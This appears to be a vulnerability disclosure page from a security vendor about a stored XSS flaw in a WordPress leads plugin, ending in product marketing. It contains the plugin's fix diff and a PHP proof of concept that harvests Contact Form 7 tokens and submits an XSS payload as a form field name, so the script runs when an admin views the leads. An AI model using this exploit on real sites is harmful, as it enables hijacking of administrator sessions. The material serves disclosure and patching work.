+		if(!is_user_logged_in() || !current_user_can($edit_cap)){
+			wp_die(esc_html__('You do not have permission to export leads.', 'elementor-leads'), '', array('response' => 403));
+		}
+		if(!isset($_GET['lenix_export_nonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_GET['lenix_export_nonce'])), 'lenix_export_leads')){
+			wp_die(esc_html__('Security check failed', 'elementor-leads'), '', array('response' => 403));
+		}

-		$form_slug = sanitize_key($_GET['elementor_form']);
-		$form_post_id = sanitize_key($_GET['elementor_form_post_id']);
+		$form_slug = sanitize_key(wp_unslash($_GET['elementor_form']));
+		$form_post_id = sanitize_key(wp_unslash($_GET['elementor_form_post_id']));

 		if($form_slug && $form_post_id){

 			$form = $this->get_form_data($form_slug,$form_post_id);
-			$form_name = $form['form_data']['settings']['form_name'];
+			if(!$form || empty($form['form_data']['settings']['form_fields'])){
+				wp_die(esc_html__('Form not found', 'elementor-leads'));
+			}
+			$form_name = sanitize_title($form['form_data']['settings']['form_name']);

-			lenix_download_send_headers("export-$form_name-" . date("d-m-Y") . ".csv");
+			lenix_download_send_headers("export-$form_name-" . gmdate("d-m-Y") . ".csv");

 			$csv_data[0][] = __('Date','elementor-leads');
 			$csv_data[0][] = __('Time','elementor-leads');


 			foreach($form['form_data']['settings']['form_fields'] as $field):
-				$csv_data[0][] = html_entity_decode($field['field_label'], ENT_QUOTES, "utf-8");
+				$csv_data[0][] = html_entity_decode(isset($field['field_label']) ? $field['field_label'] : '', ENT_QUOTES, "utf-8");
 			endforeach;

 			$form_slugs = array($form_slug);
@@ -619,9 +665,24 @@
 				$args['elementor_form_post_id'] = $form_post_id;
 			}

+			$status_slug = lenix_get_query_field('lead_status');
+			if($status_slug && term_exists(sanitize_title($status_slug), 'lead_status')){
+				$args['tax_query'] = array(array(
+					'taxonomy' => 'lead_status',
+					'field' => 'slug',
+					'terms' => sanitize_title($status_slug),
+				));
+			}
+
 			$from_date = lenix_get_query_field('from_date');
 			$to_date = lenix_get_query_field('to_date');

+			$valid_date = function($date){
+				return $date && preg_match('/^(d{4})-(d{2})-(d{2})$/', $date, $m) && checkdate((int)$m[2], (int)$m[3], (int)$m[1]);
+			};
+			$from_date = $valid_date($from_date) ? $from_date : false;
+			$to_date = $valid_date($to_date) ? $to_date : false;
+
 			if($from_date || $to_date){

 				$dates = array();
@@ -678,11 +739,7 @@

                         if($lead_data){

-                            if(isset($lead_data[$field_id])){
-
-                                $values[] = $lead_data[$field_id]['value'];
-
-                            }
+                            $values[] = isset($lead_data[$field_id]['value']) ? $lead_data[$field_id]['value'] : '';

                         }
 					endforeach;
@@ -700,7 +757,7 @@
 				echo lenix_array_to_csv($csv_data);
 			}

-			die();
+			exit;
 		}
 	}

--- a/lenix-elementor-leads-addon/inc/class-lenix-lead-response.php
+++ b/lenix-elementor-leads-addon/inc/class-lenix-lead-response.php
@@ -47,71 +47,55 @@
     }

     /**
-     * Handle response submission
+     * Validate the request and store the response (and send the email when needed).
+     * Returns the saved response array or a WP_Error.
      */
-    public function handle_response_submission() {
-        // Verify nonce
-        if (!isset($_POST['lenix_response_nonce']) || !wp_verify_nonce($_POST['lenix_response_nonce'], 'lenix_response_action')) {
-            wp_die(__('Security check failed', 'elementor-leads'));
-        }
-
-        // Check if lead ID is set
-        if (!isset($_POST['lead_id']) || empty($_POST['lead_id'])) {
-            wp_die(__('Invalid lead ID', 'elementor-leads'));
+    private function process_response($request) {
+        $lead_id = isset($request['lead_id']) ? absint($request['lead_id']) : 0;
+        if (!$lead_id || 'elementor_lead' !== get_post_type($lead_id)) {
+            return new WP_Error('invalid_lead', __('Invalid lead ID', 'elementor-leads'));
         }
-
-        $lead_id = intval($_POST['lead_id']);
-
+
         // Check if user has permission to edit leads
         $edit_cap = get_option('elementor_leads_edit_role', 'edit_others_posts');
-        if (!current_user_can($edit_cap)) {
-            // Redirect back with error
-            wp_redirect(add_query_arg(
-                array('post' => $lead_id, 'action' => 'edit', 'lenix_error' => 'permission'),
-                admin_url('post.php')
-            ));
-            exit;
+        if (!current_user_can($edit_cap) || !current_user_can('edit_post', $lead_id)) {
+            return new WP_Error('permission', __('You do not have permission to edit leads', 'elementor-leads'));
         }
-
+
         // Get response data
-        $response_type = sanitize_text_field($_POST['response_type']);
-        $response_content = wp_kses_post($_POST['response_content']);
-        $response_to = isset($_POST['response_to']) ? sanitize_email($_POST['response_to']) : '';
-        $response_subject = isset($_POST['response_subject']) ? sanitize_text_field($_POST['response_subject']) : '';
-
-        // Validate data
+        $allowed_types = array('note', 'email', 'call', 'sms');
+        $response_type = isset($request['response_type']) ? sanitize_key(wp_unslash($request['response_type'])) : 'note';
+        if (!in_array($response_type, $allowed_types, true)) {
+            $response_type = 'note';
+        }
+        $response_content = isset($request['response_content']) ? wp_kses_post(wp_unslash($request['response_content'])) : '';
+        $response_to = isset($request['response_to']) ? sanitize_email(wp_unslash($request['response_to'])) : '';
+        $response_subject = isset($request['response_subject']) ? sanitize_text_field(wp_unslash($request['response_subject'])) : '';
+
         if (empty($response_content)) {
-            wp_redirect(add_query_arg(
-                array('post' => $lead_id, 'action' => 'edit', 'lenix_error' => 'empty_content'),
-                admin_url('post.php')
-            ));
-            exit;
+            return new WP_Error('empty_content', __('Response content cannot be empty.', 'elementor-leads'));
         }
-
-        // Get current user info
-        $current_user = wp_get_current_user();
-        $user_display_name = $current_user->display_name;
-
-        // Create response data
+
         $response_data = array(
             'type' => $response_type,
             'content' => $response_content,
-            'user' => $user_display_name,
+            'message' => $response_content, // compatibility with older history entries
+            'user' => wp_get_current_user()->display_name,
             'time' => time()
         );
-
+
         // Add email-specific data if it's an email response
-        if ($response_type === 'email' && !empty($response_to)) {
+        if ($response_type === 'email' && !empty($response_to) && is_email($response_to)) {
             $response_data['to'] = $response_to;
+            $response_data['sent_to'] = $response_to;
             $response_data['subject'] = $response_subject;
-
+
             // Get original inquiry details for email template
             $lead_data = get_post_meta($lead_id, 'lead_data', true);
             if (is_string($lead_data)) {
                 $lead_data = json_decode($lead_data, true);
             }
-
-            // Format original inquiry data
+
             $original_inquiry = array();
             if (is_array($lead_data)) {
                 foreach ($lead_data as $key => $field) {
@@ -124,7 +108,6 @@
                 }
             }

-            // Get formatted email content
             if (function_exists('lenix_get_email_template')) {
                 $email_content = lenix_get_email_template($response_subject, $response_content, $original_inquiry);
             } else {
@@ -132,42 +115,53 @@
             }

             // Send email with noreply address under current domain
-            $site_domain = parse_url( home_url(), PHP_URL_HOST );
-            $from_email  = 'noreply@' . $site_domain;
-            // Sanitize and validate the constructed address; fallback to admin email if invalid
-            $from_email  = sanitize_email( $from_email );
-            if ( ! is_email( $from_email ) ) {
-                $from_email = get_bloginfo( 'admin_email' );
+            $site_domain = wp_parse_url(home_url(), PHP_URL_HOST);
+            $from_email  = sanitize_email('noreply@' . $site_domain);
+            // Fallback to admin email if the constructed address is invalid
+            if (!is_email($from_email)) {
+                $from_email = get_bloginfo('admin_email');
             }

+            // Strip anything that could break out of the header
+            $from_name = str_replace(array("r", "n", '<', '>'), '', get_bloginfo('name'));
             $headers = array(
                 'Content-Type: text/html; charset=UTF-8',
-                'From: ' . get_bloginfo( 'name' ) . ' <' . $from_email . '>'
+                'From: ' . $from_name . ' <' . $from_email . '>'
             );
-
-            $sent = wp_mail($response_to, $response_subject, $email_content, $headers);
-
-            // Add sent status to response data
-            $response_data['email_sent'] = $sent;
+
+            $response_data['email_sent'] = wp_mail($response_to, $response_subject, $email_content, $headers);
         }
-
-        // Get existing responses
+
         $responses = get_post_meta($lead_id, 'response_history', true);
         if (!is_array($responses)) {
             $responses = array();
         }
-
-        // Add new response
         $responses[] = $response_data;
-
-        // Save updated responses
         update_post_meta($lead_id, 'response_history', $responses);
-
-        // Redirect back to lead edit page with success message
-        wp_redirect(add_query_arg(
-            array('post' => $lead_id, 'action' => 'edit', 'message' => 'response_added'),
-            admin_url('post.php')
-        ));
+
+        return $response_data;
+    }
+
+    /**
+     * Handle response submission
+     */
+    public function handle_response_submission() {
+        // Verify nonce
+        if (!isset($_POST['lenix_response_nonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['lenix_response_nonce'])), 'lenix_response_action')) {
+            wp_die(esc_html__('Security check failed', 'elementor-leads'), '', array('response' => 403));
+        }
+
+        $lead_id = isset($_POST['lead_id']) ? absint($_POST['lead_id']) : 0;
+        $result = $this->process_response($_POST);
+
+        $args = array('post' => $lead_id, 'action' => 'edit');
+        if (is_wp_error($result)) {
+            $args['lenix_error'] = $result->get_error_code() === 'empty_content' ? 'empty_content' : 'permission';
+        } else {
+            $args['message'] = 'response_added';
+        }
+
+        wp_safe_redirect(add_query_arg($args, admin_url('post.php')));
         exit;
     }

@@ -175,127 +169,14 @@
      * Handle response submission via AJAX
      */
     public function handle_response_submission_ajax() {
-        try {
-            // Check if nonce exists
-            if (!isset($_POST['nonce'])) {
-                wp_send_json_error(array('message' => 'Security check failed: Nonce is missing'));
-                return;
-            }
-
-            // Verify nonce
-            if (!wp_verify_nonce($_POST['nonce'], 'lenix_response_action')) {
-                wp_send_json_error(array('message' => 'Security check failed: Invalid nonce'));
-                return;
-            }
-
-            // Check if lead ID is set
-            if (!isset($_POST['lead_id']) || empty($_POST['lead_id'])) {
-                wp_send_json_error(array('message' => 'Invalid lead ID'));
-                return;
-            }
-
-            $lead_id = intval($_POST['lead_id']);
-
-            // Check if user has permission to edit leads
-            $edit_cap = get_option('elementor_leads_edit_role', 'edit_others_posts');
-            if (!current_user_can($edit_cap)) {
-                wp_send_json_error(array('message' => 'You do not have permission to edit leads'));
-                return;
-            }
-
-            // Get response data
-            $response_type = sanitize_text_field($_POST['response_type']);
-            $response_content = wp_kses_post($_POST['response_content']);
-            $response_to = isset($_POST['response_to']) ? sanitize_email($_POST['response_to']) : '';
-            $response_subject = isset($_POST['response_subject']) ? sanitize_text_field($_POST['response_subject']) : '';
-
-            // Validate data
-            if (empty($response_content)) {
-                wp_send_json_error(array('message' => 'Response content cannot be empty'));
-                return;
-            }
-
-            // Get current user info
-            $current_user = wp_get_current_user();
-            $user_display_name = $current_user->display_name;
-
-            // Create response data
-            $response_data = array(
-                'type' => $response_type,
-                'content' => $response_content,
-                'message' => $response_content, // Add message field for compatibility
-                'user' => $user_display_name,
-                'time' => time()
-            );
-
-            // Add email-specific data if it's an email response
-            if ($response_type === 'email' && !empty($response_to)) {
-                $response_data['to'] = $response_to;
-                $response_data['sent_to'] = $response_to; // Add sent_to field for compatibility
-                $response_data['subject'] = $response_subject;
-
-                // Get original inquiry details for email template
-                $lead_data = get_post_meta($lead_id, 'lead_data', true);
-                if (is_string($lead_data)) {
-                    $lead_data = json_decode($lead_data, true);
-                }
-
-                // Format original inquiry data
-                $original_inquiry = array();
-                if (is_array($lead_data)) {
-                    foreach ($lead_data as $key => $field) {
-                        if (is_array($field) && isset($field['value']) && !empty($field['value'])) {
-                            $original_inquiry[] = array(
-                                'label' => isset($field['title']) ? $field['title'] : $key,
-                                'value' => $field['value']
-                            );
-                        }
-                    }
-                }
-
-                // Get formatted email content
-                if (function_exists('lenix_get_email_template')) {
-                    $email_content = lenix_get_email_template($response_subject, $response_content, $original_inquiry);
-                } else {
-                    $email_content = $response_content;
-                }
+        check_ajax_referer('lenix_response_action', 'nonce');

-                // Send email with noreply address under current domain
-                $site_domain = parse_url( home_url(), PHP_URL_HOST );
-                $from_email  = 'noreply@' . $site_domain;
-                // Sanitize and validate the constructed address; fallback to admin email if invalid
-                $from_email  = sanitize_email( $from_email );
-                if ( ! is_email( $from_email ) ) {
-                    $from_email = get_bloginfo( 'admin_email' );
-                }
-
-                $headers = array(
-                    'Content-Type: text/html; charset=UTF-8',
-                    'From: ' . get_bloginfo( 'name' ) . ' <' . $from_email . '>'
-                );
-
-                $sent = wp_mail($response_to, $response_subject, $email_content, $headers);
-
-                // Add sent status to response data
-                $response_data['email_sent'] = $sent;
-            }
-
-            // Get existing responses
-            $responses = get_post_meta($lead_id, 'response_history', true);
-            if (!is_array($responses)) {
-                $responses = array();
-            }
-
-            // Add new response
-            $responses[] = $response_data;
-
-            // Save updated responses
-            update_post_meta($lead_id, 'response_history', $responses);
-
-            wp_send_json_success(array('message' => 'Response added successfully'));
-        } catch (Exception $e) {
-            wp_send_json_error(array('message' => 'Error: ' . $e->getMessage()));
+        $result = $this->process_response($_POST);
+        if (is_wp_error($result)) {
+            wp_send_json_error(array('message' => $result->get_error_message()));
         }
+
+        wp_send_json_success(array('message' => __('Response added successfully', 'elementor-leads')));
     }

     public function enqueue_response_scripts($hook) {
@@ -337,7 +218,7 @@
         );

         // Add inline script to define leadResponseVars before the main script (no debug)
-        wp_add_inline_script('lead-response', 'window.leadResponseVars = ' . json_encode($script_data) . ';', 'before');
+        wp_add_inline_script('lead-response', 'window.leadResponseVars = ' . wp_json_encode($script_data) . ';', 'before');

         // Enqueue script
         wp_enqueue_script('lead-response');
@@ -349,19 +230,18 @@
      * Get response history via AJAX
      */
     public function ajax_get_response_history() {
-        // Verify nonce
-        if (!isset($_POST['nonce']) || !wp_verify_nonce($_POST['nonce'], 'lenix_response_action')) {
-            wp_send_json_error(array('message' => 'Security check failed'));
-            return;
-        }
+        check_ajax_referer('lenix_response_action', 'nonce');

-        // Check if lead ID is set
-        if (!isset($_POST['lead_id']) || empty($_POST['lead_id'])) {
+        $lead_id = isset($_POST['lead_id']) ? absint($_POST['lead_id']) : 0;
+        if (!$lead_id || 'elementor_lead' !== get_post_type($lead_id)) {
             wp_send_json_error(array('message' => 'Invalid lead ID'));
-            return;
         }

-        $lead_id = intval($_POST['lead_id']);
+        // Only users allowed to view leads can read the history
+        $view_cap = get_option('elementor_leads_view_role', 'edit_posts');
+        if (!current_user_can($view_cap) || !current_user_can('edit_post', $lead_id)) {
+            wp_send_json_error(array('message' => 'Permission denied'), 403);
+        }

         // Get response history
         $responses = get_post_meta($lead_id, 'response_history', true);
--- a/lenix-elementor-leads-addon/inc/class-lenix-lead-status.php
+++ b/lenix-elementor-leads-addon/inc/class-lenix-lead-status.php
@@ -55,7 +55,8 @@

     public function save_status_color($term_id) {
         if (isset($_POST['status_color'])) {
-            update_term_meta($term_id, 'status_color', sanitize_hex_color($_POST['status_color']));
+            $color = sanitize_hex_color(wp_unslash($_POST['status_color']));
+            update_term_meta($term_id, 'status_color', $color ? $color : '#000000');
         }
     }

@@ -87,14 +88,14 @@
             // Display current status with color
             if ($current_status) {
                 $color = get_term_meta($current_status->term_id, 'status_color', true);
-                echo '<span class="lead-status-badge" style="background-color: ' . esc_attr($color) . '; color: #fff; padding: 3px 8px; border-radius: 3px; margin-bottom: 5px; display: inline-block;">';
+                echo '<span class="lead-status-badge" style="background-color: ' . esc_attr(sanitize_hex_color($color) ? $color : '#000000') . '; color: #fff; padding: 3px 8px; border-radius: 3px; margin-bottom: 5px; display: inline-block;">';
                 echo esc_html($current_status->name);
                 echo '</span>';
             }

             // Add quick edit dropdown
             echo '<select class="quick-status-change" data-post-id="' . esc_attr($post_id) . '">';
-            echo '<option value="">' . __('Change Status', 'elementor-leads') . '</option>';
+            echo '<option value="">' . esc_html__('Change Status', 'elementor-leads') . '</option>';
             foreach ($all_statuses as $status) {
                 $selected = ($current_status && $current_status->term_id === $status->term_id) ? 'selected' : '';
                 echo '<option value="' . esc_attr($status->term_id) . '" ' . $selected . '>';
@@ -106,7 +107,7 @@
     }

     public function enqueue_scripts($hook) {
-        if ('edit.php' !== $hook || get_post_type() !== 'elementor_lead') {
+        if ('edit.php' !== $hook || get_post_type() !== 'elementor_lead' || !current_user_can(get_option('elementor_leads_edit_role', 'edit_others_posts'))) {
             return;
         }

@@ -126,12 +127,12 @@

     public function add_status_management_link() {
         $screen = get_current_screen();
-        if ($screen->id === 'edit-elementor_lead') {
+        if ($screen && $screen->id === 'edit-elementor_lead' && current_user_can('manage_options')) {
             ?>
             <div class="notice notice-info is-dismissible">
                 <p>
                     <?php _e('Manage lead statuses and their colors:', 'elementor-leads'); ?>
-                    <a href="<?php echo admin_url('edit-tags.php?taxonomy=lead_status&post_type=elementor_lead'); ?>">
+                    <a href="<?php echo esc_url(admin_url('edit-tags.php?taxonomy=lead_status&post_type=elementor_lead')); ?>">
                         <?php _e('Lead Statuses Settings', 'elementor-leads'); ?>
                     </a>
                 </p>
@@ -145,21 +146,29 @@
      */
     public function update_lead_status_ajax() {
         // Verify nonce
-        if (!wp_verify_nonce($_POST['nonce'], 'lead_status_change')) {
-            wp_send_json_error('Invalid nonce');
+        check_ajax_referer('lead_status_change', 'nonce');
+
+        // Get and sanitize input
+        $post_id = isset($_POST['post_id']) ? absint($_POST['post_id']) : 0;
+        $term_id = isset($_POST['status']) ? absint($_POST['status']) : 0;
+
+        // Check permissions - the configured edit role, and the specific lead
+        $edit_cap = get_option('elementor_leads_edit_role', 'edit_others_posts');
+        if (!current_user_can($edit_cap) || !$post_id || !current_user_can('edit_post', $post_id)) {
+            wp_send_json_error('Permission denied', 403);
         }

-        // Check permissions
-        if (!current_user_can('edit_posts')) {
-            wp_send_json_error('Permission denied');
+        if ('elementor_lead' !== get_post_type($post_id)) {
+            wp_send_json_error('Invalid lead');
         }

-        // Get and sanitize input
-        $post_id = intval($_POST['post_id']);
-        $status = sanitize_text_field($_POST['status']);
+        // Only existing statuses can be assigned (never create terms from user input)
+        if (!$term_id || !term_exists($term_id, 'lead_status')) {
+            wp_send_json_error('Invalid status');
+        }

         // Update the post terms
-        $result = wp_set_object_terms($post_id, $status, 'lead_status');
+        $result = wp_set_object_terms($post_id, array($term_id), 'lead_status');

         if (is_wp_error($result)) {
             wp_send_json_error('Failed to update status');
--- a/lenix-elementor-leads-addon/inc/class-lenix-lead-tools.php
+++ b/lenix-elementor-leads-addon/inc/class-lenix-lead-tools.php
@@ -0,0 +1,286 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly
+
+/**
+ * Leads list tools: bulk status change, bulk export, status/date filters,
+ * search inside lead content and automatic retention clean-up.
+ */
+class Lenix_Lead_Tools {
+
+	const EXPORT_ACTION = 'lenix_export_selected';
+	const STATUS_PREFIX = 'lenix_set_status_';
+	const CRON_HOOK     = 'lenix_leads_retention_cron';
+
+	public function __construct() {
+		add_filter( 'bulk_actions-edit-elementor_lead', array( $this, 'register_bulk_actions' ) );
+		add_filter( 'handle_bulk_actions-edit-elementor_lead', array( $this, 'handle_bulk_actions' ), 10, 3 );
+		add_action( 'admin_notices', array( $this, 'bulk_notice' ) );
+
+		add_action( 'restrict_manage_posts', array( $this, 'render_filters' ), 5 );
+		add_action( 'pre_get_posts', array( $this, 'apply_filters' ) );
+		add_filter( 'posts_search', array( $this, 'search_lead_content' ), 10, 2 );
+
+		add_action( 'init', array( $this, 'schedule_retention' ) );
+		add_action( self::CRON_HOOK, array( $this, 'run_retention' ) );
+	}
+
+	private function can_edit() {
+		return current_user_can( get_option( 'elementor_leads_edit_role', 'edit_others_posts' ) );
+	}
+
+	private function is_leads_list_query( $query ) {
+		return is_admin() && $query->is_main_query() && 'elementor_lead' === $query->get( 'post_type' );
+	}
+
+	/* ---------------------------------------------------------------
+	 * Bulk actions
+	 * ------------------------------------------------------------- */
+
+	public function register_bulk_actions( $actions ) {
+		if ( ! $this->can_edit() ) {
+			return $actions;
+		}
+
+		$terms = get_terms( array( 'taxonomy' => 'lead_status', 'hide_empty' => false ) );
+		if ( ! is_wp_error( $terms ) ) {
+			foreach ( $terms as $term ) {
+				/* translators: %s: status name */
+				$actions[ self::STATUS_PREFIX . $term->term_id ] = sprintf( __( 'Mark as %s', 'elementor-leads' ), $term->name );
+			}
+		}
+		$actions[ self::EXPORT_ACTION ] = __( 'Export selected to CSV', 'elementor-leads' );
+
+		return $actions;
+	}
+
+	public function handle_bulk_actions( $redirect_to, $action, $post_ids ) {
+		if ( ! $this->can_edit() ) {
+			return $redirect_to;
+		}
+
+		// Change status
+		if ( 0 === strpos( $action, self::STATUS_PREFIX ) ) {
+			$term_id = absint( substr( $action, strlen( self::STATUS_PREFIX ) ) );
+			if ( ! $term_id || ! term_exists( $term_id, 'lead_status' ) ) {
+				return $redirect_to;
+			}
+
+			$updated = 0;
+			foreach ( $post_ids as $post_id ) {
+				$post_id = absint( $post_id );
+				if ( 'elementor_lead' !== get_post_type( $post_id ) || ! current_user_can( 'edit_post', $post_id ) ) {
+					continue;
+				}
+				if ( ! is_wp_error( wp_set_object_terms( $post_id, array( $term_id ), 'lead_status' ) ) ) {
+					$updated++;
+				}
+			}
+			return add_query_arg( 'lenix_bulk_updated', $updated, $redirect_to );
+		}
+
+		// Export selected leads
+		if ( self::EXPORT_ACTION === $action ) {
+			$this->export_leads( array_map( 'absint', $post_ids ) );
+		}
+
+		return $redirect_to;
+	}
+
+	public function bulk_notice() {
+		if ( ! isset( $_GET['lenix_bulk_updated'] ) || ! $this->can_edit() ) {
+			return;
+		}
+		$count = absint( $_GET['lenix_bulk_updated'] );
+		echo '<div class="notice notice-success is-dismissible"><p>' .
+			esc_html( sprintf( _n( '%d lead updated.', '%d

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-85416 - Lenix Leads Collector <= 2.0.0 - Unauthenticated Stored XSS via Form Field Name

$target_url = 'http://target.example.com/contact/'; // Page containing the public CF7 form
$form_id    = 123;                                      // CF7 form ID
$tag_prefix = 'your-';                                  // Form tag name prefix used by the CF7 form

$payload = '<img src=x onerror=alert(document.domain)>';

// Step 1: Fetch the public page to harvest CF7 form tokens (nonce values are embedded in _wpcf7 and _wpcf7_version)
$ch = curl_init($target_url);
curl_setopt_array($ch, array(
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR      => '/tmp/atomic_edge_cookies.txt',
    CURLOPT_COOKIEFILE     => '/tmp/atomic_edge_cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
));
$html = curl_exec($ch);
curl_close($ch);

if (!$html) {
    fwrite(STDERR, "Failed to load target page.n");
    exit(1);
}

// Extract hidden CF7 fields
$harvest = function ($name, $html) {
    if (preg_match('/name="' . preg_quote($name, '/') . '"[^>]*value="([^"]*)"/', $html, $m)) {
        return $m[1];
    }
    return '';
};
$wpcf7         = $harvest('_wpcf7', $html);
$wpcf7_version = $harvest('_wpcf7_version', $html);
$wpcf7_locale  = $harvest('_wpcf7_locale', $html);
$wpcf7_unit    = $harvest('_wpcf7_unit_tag', $html);

// Step 2: Build the malicious submission. The payload is injected as a form field NAME, not a value.
$post_fields = array(
    '_wpcf7'           => $wpcf7,
    '_wpcf7_version'   => $wpcf7_version,
    '_wpcf7_locale'    => $wpcf7_locale,
    '_wpcf7_unit_tag'  => $wpcf7_unit,
    '_wpcf7_container_post' => '0',
    // Legitimate field for the form's required inputs (attacker supplies benign value)
    $tag_prefix . 'name'    => 'AtomicEdge',
    $tag_prefix . 'email'   => 'researcher@atomic-edge.test',
    $tag_prefix . 'message' => 'poc',
    // Malicious extra field name: the CF7 integration stores this key verbatim into lead_data
    $payload               => 'x',
);

$ch = curl_init($target_url);
curl_setopt_array($ch, array(
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST           => true,
    CURLOPT_POSTFIELDS     => http_build_query($post_fields),
    CURLOPT_COOKIEJAR      => '/tmp/atomic_edge_cookies.txt',
    CURLOPT_COOKIEFILE     => '/tmp/atomic_edge_cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_HTTPHEADER     => array('Content-Type: application/x-www-form-urlencoded'),
));
$resp = curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Submission HTTP {$code}n";
echo "[+] Payload field name submitted: {$payload}n";
echo "[+] A lead entry is now stored. When an admin opens the leads list or lead detail screen, the payload fires.n";

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.